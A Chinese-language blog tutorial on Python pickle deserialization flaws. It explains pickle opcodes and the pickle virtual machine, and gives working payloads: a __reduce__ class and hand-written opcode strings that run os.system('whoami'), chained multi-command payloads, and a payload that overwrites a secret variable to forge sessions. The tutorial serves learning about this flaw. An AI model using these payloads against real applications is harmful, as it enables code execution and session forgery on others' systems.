前置知识

详细前置知识可以看官方文档https://docs.python.org/zh-cn/3/library/pickle.html

Pickle–Python对象反序列化

Pickle

1
2
3
4
pickle是python里一个可以对一个 Python 对象结构的二进制序列化和反序列化的模块。
"pickling" 是将 Python 对象及其所拥有的层次结构转化为一个字节流的过程,而 "unpickling" 是相反的操作

pickel可以看作一种独立的栈语言,其对opcode的编写可以进行python代码执行、变量覆盖等操作。

pickle序列化和反序列化

对象 <–> 二进制字节流

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle

class Person():
def __init__(self):
self.age=18
self.name="A"

p=Person()
opcode=pickle.dumps(p)
print(opcode)

P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name) //P.age 是调用age成员 P.name 是调用name成员

pickle.dumps将对象序列化为二进制字节流

pickle.loads将二进制字节流化为对象

Pickle反序列化漏洞

成因:就是在二进制字节流上做手脚 就像php反序列化我们传入序列化后的字符串来达到我们想要的目标

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import pickle
import os

class Person():
def __init__(self):
self.age=18
self.name="A"
def __reduce__(self):
command=r"whoami"
return (os.system,(command,))

p=Person()
opcode=pickle.dumps(p)
print(opcode)

P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)

特殊函数__reduce__ return 一个元组 第一个是可调用对象 第二个是一个参数元组

在pickle.loads的时候就会执行os.system(“whoami”) 那就成功执行任意python代码了

Pickle工作原理

独立的栈语言,由一串串opcode组成。语言解析依靠Pickle Virtual Machine(PVM)进行。

  • 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。
  • stack:由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
  • memo:由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。

常用opcode指令

指令 描述 具体写法 栈上的变化
c 获取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新
1
2
3
4
5
6
7
import pickle

opcode=b'''cos
system
(S'whoami'
tR.'''
pickle.loads(opcode)

运行以上代码就会执行whoami命令

pickletools

用这个模块可以把opcode转换成我们易读的形式

1
2
3
4
5
6
7
import pickletools

opcode = b'''cos
system
(S'whoami'
tR.'''
pickletools.dis(opcode)

1
2
3
4
5
6
7
    0: c    GLOBAL     'os system'
11: ( MARK
12: S STRING 'whoami'
22: t TUPLE (MARK at 11)
23: R REDUCE
24: . STOP
highest protocol among opcodes = 0

Opcode漏洞利用

命令执行

opcode可以执行多个命令,可以通过手写的方式来达到。

opcode中,**.**是程序结束的标志,我们可以通过去掉.将两个字节流拼接在一起。

1
2
3
4
5
6
7
8
9
10
11
import pickle

opcode=b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)
#就会执行两次whoami命令

注意!

1
2
部分Linux系统下和Windows下的opcode字节流并不兼容,比如Windows下执行系统命令函数为os.system(),在部分Linux下则为posix.system()。
所以有时候linux和win下的脚本运行结果是不同的。

R i o 这是三个执行函数的字节码

R

1
2
3
4
opcode1=b'''cos
system
(S'whoami'
tR.'''

i

1
2
3
4
opcode2=b'''(S'whoami'
ios
system
.'''

o

1
2
3
4
opcode3=b'''(cos
system
S'whoami'
o.'''

变量覆盖

在session或token中,由于需要存储一些用户信息,所以我们常常能够看见pickle的身影。程序会将用户的各种信息序列化并存储在session或token中,以此来验证用户的身份。所以pickle可以进行session伪造,来变量覆盖。

实验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#test.py
import pickle
import secret

print("secret变量的值为:" + secret.secret)

opcode = b'''c__main__
secret
(S'secret'
S'Hack!!!'
db.'''
fake = pickle.loads(opcode)

print("secret变量的值为:" + fake.secret)
1
2
#secret.py
secret = "This is a key"

这样就可以成功覆盖原来的secret

pickle暂时先学到这里吧笔者觉得学再多的理论还是得应用,如果以后有什么新的东西就再来补坑🤭